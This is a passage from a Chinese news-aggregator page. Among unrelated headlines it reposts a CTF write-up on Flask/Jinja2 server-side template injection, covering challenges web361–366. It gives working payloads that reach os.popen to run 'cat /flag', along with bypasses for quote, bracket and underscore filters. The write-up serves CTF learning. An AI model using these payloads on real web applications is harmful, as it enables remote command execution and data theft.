最新要闻
- 简讯:椰子怎么喝 椰子怎么喝最好
- 《角斗士》旧情人欣然返场
- 主机用质量模式玩《星球大战绝地》更好?起码可稳30帧 全球热门
- 穿小椰子怎么搭配衣服 穿小椰子鞋如何搭配_全球今日讯
- 最新:男子服务区买15元汉堡只有2片面包 老板:你不要我退钱
- 九号平衡车L8奥特曼定制版发布:首发1799元 可触发彩蛋
- 赛力斯2022年营收翻倍:问界M5/M7立大功
- 男人对你说子非鱼是什么意思_子非鱼是什么意思
- 飞利浦推出新款24.5寸游戏显示器:280Hz高刷、0.5ms极速响应|全球观速讯
- 五一档新片总票房突破4亿 《长空之王》1.7亿拔得头筹 环球即时
- 世界报道:红魔二代骁龙8平板来了:144Hz 2.8K屏、12000mAh大电池
- “赏花游”“农舍游”成为开启乡村振兴的“金钥匙”
- 自驾游成五一出行新亮点 不少小众游目的地热度上升 最资讯
- 五一12万人涌入淄博 专家称淄博烧烤一时好不代表长效好_世界播报
- 女顾客点外卖备注科一95 热心肠骑手慌了:闹出乌龙
- 天天短讯!30天无理由退换 鼎能电蚊拍9.9元狂促:安全不电人、纯物理灭蚊
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
世界资讯:ssti注入
笔记:
__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。 __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a["b"],就是a.__getitem__("b") __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__("os").popen("ls").read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__["__builtins__"]含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__["__builtins__"]含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__["os"].popen("ls").read()}} current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__["__builtins__"].open("/proc\self\fd/3").read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__["os"].popen("ls").read() }} g {{g}}得到
常用的过滤器:
(相关资料图)
int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{"hello"|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串。示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format("Hello?","Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default("xiaotuo")----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。 length()返回字符串的长度,别名是count
web361
思路其实很简单,首先得到空字符串的类,用.__class__就可以得到空字符串类。
得到了空字符串类之后,我们就需要去找基类,这里我们使用__base__来找,当然也可以用__bases__来找全部基类,这道题刚好他的基类就是object,所以直接通过__base__来找。
找到基类后我们就查看基类下的所以类,这里用到__subclasses__()进行查看,我们找到os._wrap_close这个类并且使用这个类中的popen方法。(我们通过[]的下标索引来找到这个类)
接着我们初始化这个类。
然后再找这个类中的所有变量和方法。
然后我们就可以通过popen方法来读取flag文件
payload:{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat /flag").read()}}
web362
对于数字2,3进行了过滤
绕过方式一、使用全半角数字进行绕过:(切换的中文输入法里面进行全半角切换)
payload:?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat /flag").read()}}
绕过方法二、使用__builtins__
python2和python3两个版本通用的方法__builtins__代码执行__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。在启动Python解释器后,就可以直接使用一些函数.这些函数称为内建函数,在__builtins__模块中,Python在启动时就直接为我们导入了。准确的说,Python在启动时会首先加载内建名称空间,内建名称空间中有许多名字到对象之间的映射,这些名字就是内建函数的名称,对象就是这些内建函数对象。可以使用dir(builtins)来查看调用方法的列表,然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。
payload:?name={{x.__init__.__globals__["__builtins__"]["eval"]("__import__("os").popen("cat /flag").read()")}}
web 363
对于单双引号进行了过滤:
使用request进行绕过
payload:?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__("os").popen("cat /flag").read()
web 364
过滤引号和args,这里用cookie传参绕过:
payload:?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
cookie传参:a=os;b=popen;c=cat /flag
或者
payload:?name={{x.__init__.__globals__[request.cookies.a].eval(request.cookies.b)}}
cookie传参:a=__builtins__;b=__import__("os").popen("cat /flag").read()
web 365
过滤了引号,还有中括号,但request.cookies仍然可以用。
?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
cookie传参:a=cat /flag
web 366
过滤了下划线。用内置方法lipsum绕过,
payload:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie传参:a=__globals__;b=cat /flag
attr用于获取变量:常见于点号(.)
被过滤,或者点号(.)
和中括号([])
都被过滤的情况。
""|attr("__class__")相当于"".__class__
关键词:
世界资讯:ssti注入
简讯:椰子怎么喝 椰子怎么喝最好
《角斗士》旧情人欣然返场
主机用质量模式玩《星球大战绝地》更好?起码可稳30帧 全球热门
MySQL常用数据库语句 天天观天下
穿小椰子怎么搭配衣服 穿小椰子鞋如何搭配_全球今日讯
最新:男子服务区买15元汉堡只有2片面包 老板:你不要我退钱
九号平衡车L8奥特曼定制版发布:首发1799元 可触发彩蛋
赛力斯2022年营收翻倍:问界M5/M7立大功
当前滚动:xss-labs靶场
男人对你说子非鱼是什么意思_子非鱼是什么意思
飞利浦推出新款24.5寸游戏显示器:280Hz高刷、0.5ms极速响应|全球观速讯
速读:14 进程的等待与唤醒机制
【环球新视野】基于python实现将AWS-ElastiCache-的Reserved_Cache_Nodes-预留节点及费用的信息统计
traefik网关的https上游配置_微速讯
五一档新片总票房突破4亿 《长空之王》1.7亿拔得头筹 环球即时
世界报道:红魔二代骁龙8平板来了:144Hz 2.8K屏、12000mAh大电池
“赏花游”“农舍游”成为开启乡村振兴的“金钥匙”
【报资讯】浅谈 LIS 问题的几种做法
自驾游成五一出行新亮点 不少小众游目的地热度上升 最资讯
五一12万人涌入淄博 专家称淄博烧烤一时好不代表长效好_世界播报
女顾客点外卖备注科一95 热心肠骑手慌了:闹出乌龙
天天短讯!30天无理由退换 鼎能电蚊拍9.9元狂促:安全不电人、纯物理灭蚊
P6818 [PA2013]Działka 题解_环球报道
【聚看点】正负值-28全场最差!G6汤神勇不再 卫冕冠军陷入绝境
环球快看:取代C++!微软改用Rust语言重写Win11内核:简洁安全、性能更佳
Python 基于win32com客户端实现Excel操作 讯息
14 进程调度
美SpaceX火箭发射推迟:发射台遭多道闪电击中 画面曝光_当前通讯
美国一学校限制使用男女孩称呼 以分泌精子和卵子的人代替
磁吸免布线:Yeelight充电人体感应灯9元狂促
6月9日上映!《变形金刚7:超能勇士崛起》新海报:擎天柱猩猩队长联手
天天快播:【环球财经】英国3月份商用汽车产量下跌3%
自己创作一首现代诗歌范文_自己创作一首现代诗
环球热推荐:喊话多生孩子防文明崩溃的马斯克突然变脸了 网友抨击:幻想破灭
仰望红绿灯起步加速果然快 痛击自家兄弟比亚迪汉EV 每日资讯
手把手教你高铁上点外卖 能送到座位的那种
日常168元 AL无火香薰1.1折清仓 实付19元(杭州亚运会供应商)-新资讯
银护拯救漫威_全球快讯
天天快消息!《火炬之光》无限白煞获得方法
13 进程
【环球财经】纽约金价28日微涨0.01%
全球今头条!【环球财经】芝加哥农产品期价28日全线上涨
5月新规来了!互联网广告新限制:关闭弹出广告不得经两次以上点击
北京高考满分作文:制约与发展 吉林高考满分作文:风采的小李
RabbitMQ 实现消息队列延迟
csv用Excel打开出现乱码
《新哥斯拉》导演新作《新奥特曼》曝光造型,一个经典设定被取消-环球新要闻
《王者荣耀》妲己九尾狐皮肤被吐槽:有人花了1200元才抽中_天天时讯
没5G 华为手机销量暴涨41%!为何这么多人买4G华为手机
五一旅游高峰人从众景点再现!网友:堵住我的车 堵不住我的腿|全球快资讯
【新华解读】“互换通”正式落地!释放外资参与境内衍生品潜力 促进金融市场稳健开放 环球时讯
深中通道伶仃洋大桥合龙
1799元起 小米电视A55/A65竞技版上架:4K 120Hz高刷屏
今日快讯:米哈游《崩坏:星穹铁道》上线腾讯START云游戏:三端互通、无需下载
全球最资讯丨杭州小伙开法拉利炸街被阿姨当场教育?反转再反转
著名演员李建华去世 网友痛心:陪伴整个童年|天天热讯
更加流畅!小米13、小米平板6升级安卓14了:新系统正测试
学系统集成项目管理工程师(中项)系列14_采购管理
【环球速看料】海关首次截获外来物种巴尔干锯螽斯
微资讯!堵堵堵!五一前各地交通压力攀升:多地明确外地车轻微违章不处罚
汤唯二封百想影后:凭借《分手的决心》站上舞台
淘宝百亿补贴现iPhone 14 Pro Max全网最低价!256GB跌破8K:比官网便宜近2千
Reddit“股吧”散户疯炒香港券商 日内涨幅一度达到1100%
【世界报资讯】Unsorted_bin_UAF
最新资讯:gin自定义中间件解决requestBody不可重复读问题
天天热头条丨win10更改默认浏览器失败_win10更改默认浏览器
天涯死了!死在越来越功利的互联网手上
锐龙6900HX仅3399元!华硕联名迷你主机发布:支持DDR5 双USB 4
8核Zen4+最强核显 AOKZOE掌机众筹:2TB版干到8000元以上
各家都在卷的Mini主机 到底是想赚谁口袋里的钱? 今日讯
世界视点!45颗北斗卫星在轨 我国境内支持北斗的智能手机超3亿部
莎琪丽/sakinre是哪个国家的品牌_什么档次怎么样
高洲原酒和李庄酒哪个好_高洲原酒-环球快消息
图解西子洁能一季报:第一季度单季净利润同比减38.88%
天祝县开展“五一”节前民生保障和假期安全生产督导检查
环球新消息丨五一长假已开启 网友对调休不满 专家称调休式放假更包容更弹性
富士X-T5等四款相机发布最新固件:提升拍摄稳定性
宋慧乔凭《黑暗荣耀》获百想视后:我得奖了妍珍呐! 环球消息
每日短讯:在rt三角形abc中角c等于90度ac等于3bc等于4 在rt三角形abc中角c等于90度
【性能】JDK和Jmeter的安装与配置|每日热门
【金融街发布】央行推重磅新规 “北向互换通” 即日起施行
热点在线丨广州成立青年创新创业税务服务工作站,减轻双创青年办税缴费负担
睡觉前千万别做这件事!伤身又伤心 你肯定“中枪”过
欧媒:金砖国家重塑全球政经秩序|世界要闻
中国进出口银行绿色信贷余额超4500亿元_世界今亮点
《圣斗士星矢》真人电影抢先看:星矢大战不死鸟一辉!特效华丽
热点聚焦:白菜价LCD且买且珍惜 面板一哥京东方Q1利润暴跌94%:价格已开始反弹
油价居高不下!中石油、石化、海油三桶油赚大:一季度轻松几百亿 当前讯息
天天快讯:探寻历史文脉 守护城市记忆
中信建投国家电投新能源REIT公告原始权益人增持 彰显新能源REIT市场长期投资价值 环球资讯
全球快看点丨佛山机器人产业链如何借势优化?数智化、资本化构建千亿级产业“新赛道”
网红日式甜品零食 上行斋生巧福团1.45元/枚发车
天天微动态丨每天烧掉4300万!无人驾驶出租车巨头摊牌:最多再撑一年
焦点观察:杭州女子遇“串串刺客”:吐槽6片菜叶6块钱
太卷了!四川烧烤虫草火了 还有牦牛刺身:网友直呼太硬核|环球热议
氯化钡和碳酸钠反应(碳酸钠与氯化钙反应的化学方程式)
紧身皮裙 透视look 30+的女人原来这么敢穿
今热点:门票、火车票一抢而空!这假期注定人潮汹涌
官方明确了!广州不鼓励发展共享电动自行车